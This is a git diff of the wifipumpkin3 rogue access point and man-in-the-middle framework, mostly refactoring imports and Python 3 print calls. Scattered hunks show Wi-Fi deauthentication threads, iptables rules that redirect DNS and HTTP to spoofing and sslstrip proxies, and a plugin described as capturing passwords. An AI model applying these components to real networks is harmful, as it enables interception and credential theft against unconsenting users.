from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.widgets.default import *
class DefaultWidget(Qt.QObject):
def __init__(self,parent = None,**kwargs):

View File

@ -12,7 +12,7 @@ from PyQt5 import QtGui
import logging
import signal
import configparser
import core.utility.constants as C
import wifipumpkin3.core.utility.constants as C
from shlex import split
from glob import glob
import warnings

View File

@ -1,10 +1,10 @@
import socket
import core.utility.constants as C
from core.utility.printer import display_messages,colors
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.utility.printer import display_messages,colors
from PyQt5.QtCore import pyqtSignal,QObject,QThread
from core.utility.collection import SettingsINI
from wifipumpkin3.core.utility.collection import SettingsINI
# from core.servers.proxy.http.controller.handler import MasterHandler
from core.servers.proxy.tcp.intercept import TH_SniffingPackets
#from wifipumpkin3.core.servers.proxy.tcp.intercept import TH_SniffingPackets
# class PumpkinProxy(QThread):

View File

@ -1,7 +1,7 @@
from cmd import Cmd
from core.utility.printer import *
from core.utility.collection import SettingsINI
import core.utility.constants as C
from wifipumpkin3.core.utility.printer import *
from wifipumpkin3.core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
from os import popen
import sys

View File

@ -1,8 +1,8 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
import weakref
import core.utility.constants as C
from core.utility.collection import SettingsINI
from core.common.platforms import Linux
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.utility.collection import SettingsINI
from wifipumpkin3.core.common.platforms import Linux
class CoreSettings(Linux):

View File

@ -8,18 +8,18 @@ from logging import getLogger,ERROR
# Refactor,set_monitor_mode,waiterSleepThread,
# setup_logger,is_ascii,is_hexadecimal,exec_bash,del_item_folder
# )
import core.utility.constants as C
from core.utility.collection import SettingsINI
from core.utility.collection import SettingsINI as SuperSettings
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.utility.collection import SettingsINI
from wifipumpkin3.core.utility.collection import SettingsINI as SuperSettings
from collections import OrderedDict
from functools import partial
from core.utility.component import ComponentBlueprint
from wifipumpkin3.core.utility.component import ComponentBlueprint
from netaddr import EUI
from core.utility.printer import display_messages
from core.common.platforms import Linux as Refactor
from core.common.platforms import setup_logger
from core.widgets.default.logger_manager import StandardLog
from core.widgets.default.logger_manager import LoggerManager
from wifipumpkin3.core.utility.printer import display_messages
from wifipumpkin3.core.common.platforms import Linux as Refactor
from wifipumpkin3.core.common.platforms import setup_logger
from wifipumpkin3.core.widgets.default.logger_manager import StandardLog
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
def deleteObject(obj):
''' reclaim memory '''

View File

@ -1,6 +1,6 @@
from core.config.globalimport import *
from core.utility.component import ControllerBlueprint
from core.servers.dhcp import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.utility.component import ControllerBlueprint
from wifipumpkin3.core.servers.dhcp import *
class DHCPController(ControllerBlueprint):
def __init__(self,parent):

View File

@ -1,6 +1,6 @@
from core.config.globalimport import *
from core.utility.component import ControllerBlueprint
from core.servers.dns import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.utility.component import ControllerBlueprint
from wifipumpkin3.core.servers.dns import *
class DNSController(ControllerBlueprint):

View File

@ -1,7 +1,7 @@
from core.config.globalimport import *
from core.servers.mitm import *
from core.common.uimodel import *
from core.utility.component import ControllerBlueprint
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.servers.mitm import *
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.utility.component import ControllerBlueprint
class MitmController(PluginsUI,ControllerBlueprint):

View File

@ -1,8 +1,8 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
from collections import OrderedDict
from core.common.uimodel import *
from core.servers.proxy import *
from core.utility.component import ControllerBlueprint
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.servers.proxy import *
from wifipumpkin3.core.utility.component import ControllerBlueprint

View File

@ -1,4 +1,4 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
from os import (
system,path,getcwd,
popen,listdir,mkdir,chown
@ -6,13 +6,13 @@ from os import (
from shutil import move
from pwd import getpwnam
from grp import getgrnam
from core.wirelessmode import *
from wifipumpkin3.core.wirelessmode import *
from json import dumps,loads
#from core.widgets.default.SessionConfig import *
from datetime import datetime
from core.common.uimodel import *
from core.utility.collection import SettingsINI
from core.wirelessmode import *
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.utility.collection import SettingsINI
from wifipumpkin3.core.wirelessmode import *
class WirelessModeController(object):

View File

@ -5,9 +5,9 @@ import signal
from multiprocessing import Process, Queue
from subprocess import (Popen, STDOUT, PIPE)
from PyQt5.QtCore import QThread, pyqtSignal, pyqtSlot, QProcess, QObject
from core.packets.dhcpserver import DHCPProtocol
from wifipumpkin3.core.packets.dhcpserver import DHCPProtocol
# from core.servers.proxy.http.controller.handler import MasterHandler
from core.utility.printer import display_messages,colors
from wifipumpkin3.core.utility.printer import display_messages,colors
class DHCPServerProcess(QThread):

View File

@ -1,26 +1,26 @@
from core.common.accesspoint import AccessPoint
from wifipumpkin3.core.common.accesspoint import AccessPoint
#from core.common.sniffing import SniffingPackets
from core.common.terminal import ConsoleUI
from core.widgets.window import ui_TableMonitorClient,ui_MonitorSniffer
from core.utility.collection import SettingsINI
import core.utility.constants as C
from core.utility.printer import display_messages,setcolor
from wifipumpkin3.core.common.terminal import ConsoleUI
from wifipumpkin3.core.widgets.window import ui_TableMonitorClient,ui_MonitorSniffer
from wifipumpkin3.core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.utility.printer import display_messages,setcolor
from termcolor import colored
import npyscreen, threading
from tabulate import tabulate
from core.common.defaultwidget import *
from core.config.globalimport import *
from wifipumpkin3.core.common.defaultwidget import *
from wifipumpkin3.core.config.globalimport import *
from core.controllers.wirelessmodecontroller import *
from core.controllers.dhcpcontroller import *
from core.servers.dhcp.dhcp import *
from core.controllers.proxycontroller import *
from core.controllers.mitmcontroller import *
from core.controllers.dnscontroller import *
from wifipumpkin3.core.controllers.wirelessmodecontroller import *
from wifipumpkin3.core.controllers.dhcpcontroller import *
from wifipumpkin3.core.servers.dhcp.dhcp import *
from wifipumpkin3.core.controllers.proxycontroller import *
from wifipumpkin3.core.controllers.mitmcontroller import *
from wifipumpkin3.core.controllers.dnscontroller import *
from modules import *
from modules import module_list, all_modules
from wifipumpkin3.modules import *
from wifipumpkin3.modules import module_list, all_modules
approot = QtCore.QCoreApplication.instance()

View File

@ -81,7 +81,7 @@ class DHCPProtocol(QObject):
packet.set_option('yiaddr', self.ip_client)
packet.set_option('siaddr', self.dhcp_conf['router'])
packet.set_option('router', [self.dhcp_conf['router']], validate=False)
packet.set_option('domain_name_servers', ['10.0.0.1'], validate=False)
packet.set_option('domain_name_servers', [self.dhcp_conf['router']], validate=False)
packet.set_option('ip_address_lease_time', int(self.dhcp_conf['leasetimeMax']))
for key in self.leases.keys():
for item in self.leases[key].keys():

View File

@ -7,7 +7,7 @@ from datetime import datetime
from pathlib import Path
from textwrap import wrap
from time import sleep
import wifipumpkin3.core.utility.constants as C
from dnslib import DNSLabel, QTYPE, RR, dns
from dnslib.proxy import ProxyResolver
from dnslib.server import DNSServer
@ -232,7 +232,7 @@ class DNSServerThread(QThread):
port = int(os.getenv('PORT', 53))
upstream = os.getenv('UPSTREAM', '8.8.8.8')
zone_file = Path(self.conf.get('accesspoint','path_pydns_server_zones'))
zone_file = Path(C.DNSHOSTS)
self.logger_dns = LocalDNSLogger(self.sendRequests)
self.resolver = Resolver(upstream, zone_file, self.sendRequests)
self.udp_server = DNSServer(self.resolver, port=port ,

View File

@ -34,7 +34,7 @@ class ThreadAttackStar(QThread):
self.process = True
def run(self):
print "Starting Thread:" + self.objectName()
print("Starting Thread:" + self.objectName())
self.count = 0
while self.process:
conf.checkIPaddr = False
@ -49,7 +49,7 @@ class ThreadAttackStar(QThread):
self.emit(pyqtSignal("Activated( QString )"),self.data.rstrip())
self.emit(pyqtSignal("Activated( QString )"),"[ OFF ] Packet sent: " + str(self.count))
def stop(self):
print "Stop thread:" + self.objectName()
print("Stop thread:" + self.objectName())
self.process = False
@ -130,7 +130,7 @@ class ThSpoofAttack(QThread):
self.desc = ['Module DNS spoof']
def run(self):
print 'Starting Thread:' + self.objectName()
print('Starting Thread:' + self.objectName())
self.sniff()
def ARP(self,target,gateway):
@ -205,7 +205,7 @@ class ThSpoofAttack(QThread):
system('iptables -t nat -{} PREROUTING -i {} -p tcp --dport 53 -j DNAT --to {}'.format(option,self.interface,self.redirect))
def stop(self):
print 'Stop Thread:' + self.objectName()
print('Stop Thread:' + self.objectName())
self.finished = True
self.setIptables(option='D')
self.emit(pyqtSignal('Activated( QString )'),'finished')

View File

@ -33,7 +33,7 @@ class ThreadScannerAP(QThread):
self.stopped = False
def run(self):
print 'Starting Thread:' + self.objectName()
print('Starting Thread:' + self.objectName())
self.LoopScanmer()
def scannerAP(self,q):
@ -64,7 +64,7 @@ class ThreadScannerAP(QThread):
def stop(self):
self.stopped = True
print 'Stop thread:' + self.objectName()
print('Stop thread:' + self.objectName())
class ThreadDeauth(QThread):
@ -77,7 +77,7 @@ class ThreadDeauth(QThread):
self.pkts = []
def run(self):
print 'Starting Thread:' + self.objectName()
print('Starting Thread:' + self.objectName())
self.status = True
conf.iface = self.interface
pkt1 = RadioTap()/Dot11(type=0,subtype=12,addr1=self.client,
@ -91,7 +91,7 @@ class ThreadDeauth(QThread):
def stop(self):
self.status = False
print 'Stop thread:' + self.objectName()
print('Stop thread:' + self.objectName())
class ThreadProbeScan(QThread):
@ -102,7 +102,7 @@ class ThreadProbeScan(QThread):
self.captured = []
def run(self):
print "Starting Thread:" + self.objectName()
print("Starting Thread:" + self.objectName())
self.ProbeResqest()
def Startprobe(self,q):
while not self.finished:
@ -138,7 +138,7 @@ class ThreadProbeScan(QThread):
self.emit(SIGNAL("Activated( QString )"),mac_address + '|'+ssid +'|'+devices)
def stop(self):
print "Stop thread:" + self.objectName()
print("Stop thread:" + self.objectName())
self.finished = True
self.captured = []
self.sniff.join(0)

View File

@ -1,10 +1,10 @@
from re import *
from netaddr import EUI
from core.config.globalimport import *
from core.common.uimodel import *
from core.utility.component import ControllerBlueprint
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.utility.component import ControllerBlueprint
from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases
from core.controls.threads import ProcessThread
from wifipumpkin3.core.controls.threads import ProcessThread
class DHCPServers(QtCore.QObject,ComponentBlueprint):

View File

@ -1,6 +1,6 @@
from core.config.globalimport import *
from core.packets.dhcpserver import DHCPThread
from core.servers.dhcp.dhcp import DHCPServers
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.packets.dhcpserver import DHCPThread
from wifipumpkin3.core.servers.dhcp.dhcp import DHCPServers
class PyDHCP(DHCPServers):
Name = "Python DHCP Server"

View File

@ -1,11 +1,11 @@
import weakref
from core.config.globalimport import *
from core.common.uimodel import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.common.uimodel import *
#from core.widgets.default.SessionConfig import SessionConfig
from core.utility.component import ComponentBlueprint
from core.controls.threads import (ProcessThread)
from core.common.platforms import setup_logger
from core.widgets.default.logger_manager import LoggerManager
from wifipumpkin3.core.utility.component import ComponentBlueprint
from wifipumpkin3.core.controls.threads import (ProcessThread)
from wifipumpkin3.core.common.platforms import setup_logger
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
class DNSBase(QtCore.QObject,ComponentBlueprint):
Name = "DNSBaseClass"

View File

@ -1,6 +1,6 @@
from core.config.globalimport import *
from core.servers.dns.DNSBase import DNSBase
from core.packets.dnsserver import DNSServerThread
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.servers.dns.DNSBase import DNSBase
from wifipumpkin3.core.packets.dnsserver import DNSServerThread
class PyDNSServer(DNSBase):
ID = "pydns_server"
@ -21,6 +21,8 @@ class PyDNSServer(DNSBase):
self.logger.info(data)
def boot(self):
#TODO : the pyDnsServer is disabled because problem dns instance setting os
# future: check another alternative
self.reactor = DNSServerThread(self.conf)
self.reactor.sendRequests.connect(self.LogOutput)
self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server

View File

@ -1,11 +1,11 @@
from core.controls.threads import (
from wifipumpkin3.core.controls.threads import (
ProcessThread
)
from core.widgets.docks.dock import DockableWidget
from core.controllers.wirelessmodecontroller import AccessPointSettings
from core.common.uimodel import *
from core.config.globalimport import *
from core.widgets.default.logger_manager import LoggerManager
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
from wifipumpkin3.core.controllers.wirelessmodecontroller import AccessPointSettings
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
class Widget(Qt.QObject):
def __init__(self,parent):

View File

@ -1,8 +1,8 @@
from core.servers.mitm.mitmmode import MitmMode
from core.common.uimodel import *
from core.config.globalimport import *
from core.widgets.docks.dock import DockableWidget
from core.controls.threads import ProcessThread
from wifipumpkin3.core.servers.mitm.mitmmode import MitmMode
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
from wifipumpkin3.core.controls.threads import ProcessThread
class NetCredential(DockableWidget):

View File

@ -4,10 +4,10 @@ from threading import Thread
import queue
from scapy.all import *
import logging
from plugins.analyzers import *
from core.utility.collection import SettingsINI
import core.utility.constants as C
from core.utility.printer import display_messages,colors
from wifipumpkin3.plugins.analyzers import *
from wifipumpkin3.core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.utility.printer import display_messages,colors
"""
Description:

View File

@ -1,5 +1,5 @@
from core.common.uimodel import *
from core.servers.proxy.proxymode import ProxyMode
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.servers.proxy.proxymode import ProxyMode
class NoProxy(ProxyMode):
Name="noproxy"

View File

@ -1,11 +1,11 @@
#from core.widgets.docks.dock import *
from core.controls.threads import ProcessThread
from core.controllers.wirelessmodecontroller import AccessPointSettings
from core.common.uimodel import *
from core.widgets.docks.dock import *
from core.common.platforms import setup_logger
from core.config.globalimport import *
from core.widgets.default.logger_manager import LoggerManager
from wifipumpkin3.core.controls.threads import ProcessThread
from wifipumpkin3.core.controllers.wirelessmodecontroller import AccessPointSettings
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.widgets.docks.dock import *
from wifipumpkin3.core.common.platforms import setup_logger
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
class Widget(Qt.QObject):
def __init__(self):
@ -48,10 +48,10 @@ class ProxyMode(Widget,ComponentBlueprint):
' --destination-port 80 -j REDIRECT --to-port ' + self.conf.get('settings','redirect_port')),
'dns2proxy': str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'),
'bdfproxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080'),
'PumpkinProxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')
'pumpkinproxy_plugin': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')
}
self.search[self.Name]=self.iptablesrules
#self.search[self.Name]=self.iptablesrules
@ -173,15 +173,8 @@ class ProxyMode(Widget,ComponentBlueprint):
self.unset_Rules(rules)
def LogOutput(self,data):
if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
try:
data = str(data).split(' : ')[1]
for line in data.split('\n'):
if len(line) > 2 and not self.parent.currentSessionID in line:
self.dockwidget.writeModeData(line)
self.logger.info(line)
except IndexError:
return None
if self.conf.get('accesspoint', 'statusAP', format=bool):
print(data)
def Configure(self):
self.ConfigWindow.show()

View File

@ -0,0 +1,67 @@
from wifipumpkin3.core.config.globalimport import *
from collections import OrderedDict
from functools import partial
from threading import Thread
import queue
from scapy.all import *
import logging, os
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.common.platforms import setup_logger
from wifipumpkin3.core.servers.proxy.proxymode import *
from wifipumpkin3.core.utility.collection import SettingsINI
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
class TCPProxyDock(DockableWidget):
id = "TCPProxy"
title = "TCPProxy"
def __init__(self,parent=0,title="",info={}):
super(TCPProxyDock,self).__init__(parent,title,info={})
self.setObjectName(self.title)
self.THeaders = OrderedDict([ ('Plugin',[]),('Logging',[])])
def writeModeData(self,data):
''' get data output and add on QtableWidgets '''
self.THeaders['Plugin'].append(data.keys()[0])
self.THeaders['Logging'].append(data[data.keys()[0]])
Headers = []
print(data)
def stopProcess(self):
pass
class PumpKinProxy(ProxyMode):
Name = "pumpkinproxy_plugin"
Author = "Pumpkin-Dev"
ID = "pumpkinproxy"
Description = "Sniff for intercept network traffic on UDP,TCP protocol get password,hash,image,etc..."
Hidden = False
LogFile = C.LOG_PUMPKINPROXY
_cmd_array = []
ModSettings = True
ModType = "proxy"
TypePlugin = 1
def __init__(self,parent=None, **kwargs):
super(PumpKinProxy,self).__init__(parent)
self.setID(self.Name)
self.setTypePlugin(self.TypePlugin)
self.config = SettingsINI(C.CONFIG_TP_INI)
@property
def CMD_ARRAY(self):
port_ssltrip = self.conf.get('settings', 'sslstrip_redirect_port')
os.system(self.search[self.Name])
self._cmd_array=['-l', port_ssltrip]
return self._cmd_array
def boot(self):
self.reactor= ProcessThread({'sslstrip3': self.CMD_ARRAY})
self.reactor._ProcssOutput.connect(self.LogOutput)
self.reactor.setObjectName(self.Name)
def LogOutput(self,data):
if self.conf.get('accesspoint', 'statusAP', format=bool):
self.logger.info(data)

View File

@ -1,4 +1,4 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
from collections import OrderedDict
from functools import partial
from threading import Thread
@ -7,16 +7,16 @@ from scapy.all import *
import logging
#from plugins.analyzers import *
import core.utility.constants as C
from core.common.platforms import setup_logger
from core.servers.proxy.proxymode import *
from core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
from wifipumpkin3.core.common.platforms import setup_logger
from wifipumpkin3.core.servers.proxy.proxymode import *
from wifipumpkin3.core.utility.collection import SettingsINI
# from core.widgets.docks.dockmonitor import (
# dockTCPproxy,dockUrlMonitor
# )
from core.common.uimodel import *
from plugins.analyzers import *
from core.widgets.docks.dock import DockableWidget
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.plugins.analyzers import *
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
class TCPProxyDock(DockableWidget):
id = "TCPProxy"

View File

@ -1,6 +1,6 @@
from os import path
from PyQt5.QtCore import QSettings
import core.utility.constants as C
import wifipumpkin3.core.utility.constants as C
"""
Description:
This program is a module for wifi-pumpkin.py.
@ -28,6 +28,7 @@ class SettingsINI(object):
if path.isfile(filename):
self.psettings = QSettings(filename,QSettings.IniFormat)
@staticmethod
def getInstance():
if SettingsINI._instance is None:

View File

@ -1,4 +1,4 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
class ComponentBlueprint(object):
Name = "GenericComponent"

View File

@ -23,6 +23,8 @@ Copyright:
dir_of_executable = os.path.dirname(__file__)
dir_path = os.getcwd()
user_config_dir = os.path.expanduser("~")
# window constants
GEOMETRYH = 820
GEOMETRYW = 500
@ -49,6 +51,9 @@ DHCPSERVERBINARY = 'core/packets/binary/dhcpserver'
PUMPKINPROXY_notify = 'the package requirement mitmproxy==0.18.2 is ' \
'not satisfied.'
#DNS file hosts
DNSHOSTS = user_config_dir+ '/.config/wifipumpkin3/config/app/dns_hosts.ini'
#donation button
DONATE = 'https://github.com/P0cL4bs/WiFi-Pumpkin#donation'
DONATE_TXT = 'Consider donating to support the development and maintenance of WiFi-Pumpkin. '
@ -58,8 +63,8 @@ DHCPLEASES_PATH = '/var/lib/dhcp/dhcpd.leases'
DHCPCONF_PATH = 'core/config/dhcpd_wp.conf'
# settings HOSTAPD
HOSTAPDCONF_PATH = 'core/config/hostapd/hostapd.conf'
HOSTAPDCONF_PATH2 = 'core/config/hostapd/hostapd+.conf'
HOSTAPDCONF_PATH = user_config_dir+ '/.config/wifipumpkin3/config/hostapd/hostapd.conf'
HOSTAPDCONF_PATH2 = user_config_dir+ '/.config/wifipumpkin3/config/hostapd/hostapd+.conf'
ALGORITMS = ('TKIP','CCMP','TKIP + CCMP')
#system configs
@ -67,25 +72,26 @@ NETWORKMANAGER = '/etc/NetworkManager/NetworkManager.conf'
IPFORWARD = '/proc/sys/net/ipv4/ip_forward'
#logging
LOG_PUMPKINPROXY = 'logs/AccessPoint/pumpkin-proxy.log'
LOG_URLCAPTURE = 'logs/AccessPoint/urls.log'
LOG_CREDSCAPTURE = 'logs/AccessPoint/credentials.log'
LOG_TCPPROXY = 'logs/AccessPoint/tcp-proxy.log'
LOG_RESPONDER3 = 'logs/AccessPoint/responder3.log'
LOG_BDFPROXY = 'logs/AccessPoint/bdfproxy.log'
LOG_DNS2PROXY = 'logs/AccessPoint/dns2proxy.log'
LOG_SSLSTRIP = 'logs/AccessPoint/injectionPage.log'
LOG_DNSSPOOF = 'logs/AccessPoint/dnsspoof.log'
LOG_PHISHING = 'logs/Phishing/requests.log'
LOG_DHCP = 'logs/AccessPoint/dhcp.log'
LOG_HOSTAPD = 'logs/AccessPoint/hostapd.log'
LOG_ALL = 'logs/everything.log'
LOG_PUMPKINPROXY = user_config_dir+ '/.config/wifipumpkin3/logs/AccessPoint/pumpkin-proxy.log'
LOG_URLCAPTURE = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/urls.log'
LOG_CREDSCAPTURE = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/credentials.log'
LOG_TCPPROXY = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/tcp-proxy.log'
LOG_RESPONDER3 = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/responder3.log'
LOG_BDFPROXY = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/bdfproxy.log'
LOG_DNS2PROXY = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/dns2proxy.log'
LOG_SSLSTRIP = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/injectionPage.log'
LOG_DNSSPOOF = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/dnsspoof.log'
LOG_PHISHING = user_config_dir+'/.config/wifipumpkin3/logs/Phishing/requests.log'
LOG_DHCP = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/dhcp.log'
LOG_HOSTAPD = user_config_dir+'/.config/wifipumpkin3/logs/AccessPoint/hostapd.log'
LOG_ALL = user_config_dir+'/.config/wifipumpkin3/logs/everything.log'
#APP SETTINGS
CONFIG_INI = 'core/config/app/config.ini'
CONFIG_TP_INI = 'core/config/app/tcpproxy.ini'
CONFIG_PP_INI = 'core/config/app/proxy.ini'
CONFIG_INI = user_config_dir+'/.config/wifipumpkin3/config/app/config.ini'
CONFIG_TP_INI = user_config_dir + '/.config/wifipumpkin3/config/app/tcpproxy.ini'
CONFIG_PP_INI = user_config_dir +'/.config/wifipumpkin3/config/app/proxy.ini'
TEMPLATES = 'templates/fakeupdate/Windows_Update/Settins_WinUpdate.html'
TEMPLATE_PH = 'templates/phishing/custom/index.html'
TEMPLATE_CLONE = 'templates/phishing/web_server/index.html'

View File

@ -1,5 +1,5 @@
from core.config.globalimport import *
from core.common.uimodel import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.common.uimodel import *
import weakref
from loguru import logger
import sys
@ -46,7 +46,7 @@ class StandardLog:
{
"sink": self.redirect_stdout(),"colorize": self.colorized,
"filter" : make_filter(self.typelog),
"format": " {time:HH:mm:ss} [<bg %s> <%s> {extra[name]} </%s> </bg %s>] - {message} "%(self.bgcolor,self.color,self.color, self.bgcolor)
"format": " [<bg %s> <%s> {extra[name]} </%s> </bg %s>] {time:HH:mm:ss} - {message} "%(self.bgcolor,self.color,self.color, self.bgcolor)
},
{ "sink": self.filename,

View File

@ -1,4 +1,4 @@
from core.common.uimodel import *
from wifipumpkin3.core.common.uimodel import *
from PyQt5.QtCore import pyqtSignal

View File

@ -1,5 +1,5 @@
from core.config.globalimport import *
from core.common.uimodel import *
from wifipumpkin3.core.config.globalimport import *
from wifipumpkin3.core.common.uimodel import *
import weakref
class SessionConfig(TabsWidget):

View File

@ -1,11 +1,11 @@
import urwid,time,threading
from tabulate import tabulate
from netaddr import EUI
from core.utility.collection import SettingsINI
import core.utility.constants as C
from wifipumpkin3.core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
from beautifultable import BeautifulTable
import fcntl, termios, struct, os
from core.common.platforms import hexdump
from wifipumpkin3.core.common.platforms import hexdump
from multiprocessing import Process
palette = [

View File

@ -1,4 +1,4 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
import weakref
from os import (
system, path, getcwd,
@ -8,10 +8,10 @@ from pwd import getpwnam
from grp import getgrnam
from time import asctime
from subprocess import check_output,Popen,PIPE,STDOUT,CalledProcessError,call
from core.controls.threads import ProcessHostapd, ProcessThread
from core.wirelessmode.wirelessmode import Mode
from core.common.uimodel import *
from core.utility.printer import display_messages
from wifipumpkin3.core.controls.threads import ProcessHostapd, ProcessThread
from wifipumpkin3.core.wirelessmode.wirelessmode import Mode
from wifipumpkin3.core.common.uimodel import *
from wifipumpkin3.core.utility.printer import display_messages
class Static(Mode):

View File

@ -1,11 +1,11 @@
from core.config.globalimport import *
from wifipumpkin3.core.config.globalimport import *
from re import *
from os import (
system,path,getcwd,
popen,listdir,mkdir,chown
)
from shutil import move
from core.widgets.default.session_config import *
from wifipumpkin3.core.widgets.default.session_config import *
class Mode(Qt.QObject):

View File

@ -2,7 +2,7 @@ import os
import pkgutil
import sys
import importlib
from core.utility.printer import display_messages
from wifipumpkin3.core.utility.printer import display_messages
# https://stackoverflow.com/questions/3365740/how-to-import-all-submodules
def import_submodules(package, recursive=True):

Some files were not shown because too many files have changed in this diff Show More